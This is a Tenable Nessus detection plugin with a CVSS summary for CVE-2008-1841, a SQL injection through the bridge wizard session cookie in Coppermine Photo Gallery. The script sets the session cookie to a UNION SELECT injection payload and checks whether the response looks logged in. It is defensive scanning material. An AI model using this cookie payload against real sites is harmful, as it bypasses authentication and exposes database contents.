CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
EPSS
Percentile
77.3%
The version of Coppermine installed on the remote host fails to sanitize user-supplied input to the bridge wizard session cookie before using it in a database query in ‘bridge/coppermine.inc.php’. Regardless of PHP’s ‘magic_quotes_gpc’ setting, an attacker may be able to exploit this issue to manipulate database queries, leading to disclosure of sensitive information, bypassing authentication, or attacks against the underlying database.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(31859);
script_version("1.19");
script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");
script_cve_id("CVE-2008-1841");
script_bugtraq_id(28767);
script_xref(name:"SECUNIA", value:"29741");
script_name(english:"Coppermine Photo Gallery bridge/coppermine.inc.php Bridge Wizard Session Cookie SQL Injection");
script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is prone to a
SQL injection attack.");
script_set_attribute(attribute:"description", value:
"The version of Coppermine installed on the remote host fails to
sanitize user-supplied input to the bridge wizard session cookie
before using it in a database query in 'bridge/coppermine.inc.php'.
Regardless of PHP's 'magic_quotes_gpc' setting, an attacker may be
able to exploit this issue to manipulate database queries, leading to
disclosure of sensitive information, bypassing authentication, or
attacks against the underlying database.");
script_set_attribute(attribute:"see_also", value:"http://forum.coppermine-gallery.net/index.php/topic,51882.0.html");
script_set_attribute(attribute:"solution", value:
"Upgrade to Coppermine 1.4.18 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
script_set_attribute(attribute:"exploit_available", value:"false");
script_cwe_id(89);
script_set_attribute(attribute:"plugin_publication_date", value:"2008/04/14");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:coppermine:coppermine_photo_gallery");
script_set_attribute(attribute:"thorough_tests", value:"true");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2008-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_dependencies("coppermine_gallery_detect.nasl");
script_require_keys("www/PHP");
script_exclude_keys("Settings/disable_cgi_scanning");
script_require_ports("Services/www", 80);
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
port = get_http_port(default:80);
if (!get_port_state(port)) exit(0);
if (!can_host_php(port:port)) exit(0);
# Test an install.
install = get_kb_item(string("www/", port, "/coppermine_photo_gallery"));
if (isnull(install)) exit(0);
matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
if (!isnull(matches))
{
dir = matches[2];
url = string(dir, "/bridgemgr.php");
clear_cookiejar();
# Determine the cookie name.
r = http_send_recv3(method: 'GET', item:url, port:port);
if (isnull(r)) exit(0);
cookie = NULL;
cookies = get_http_cookies_names();
# Try to exploit the vulnerability to bypass authentication.
if (isnull(cookies) || max_index(cookies) == 0)
{
debug_print("couldn't find the session cookie!");
}
else
{
cookie = cookies[0]; # Should I overwrite all cookies?
exploit = string(SCRIPT_NAME, '") UNION SELECT 1--');
set_http_cookie(name: cookie, value: urlencode(str:exploit));
r = http_send_recv3(method: 'GET', port: port, item: url);
if (isnull(r)) exit(0);
# There's a problem if we appear to be logged in.
if ('logout.php?referer=bridgemgr.php"' >< r[2])
{
security_hole(port);
set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
exit(0);
}
}
}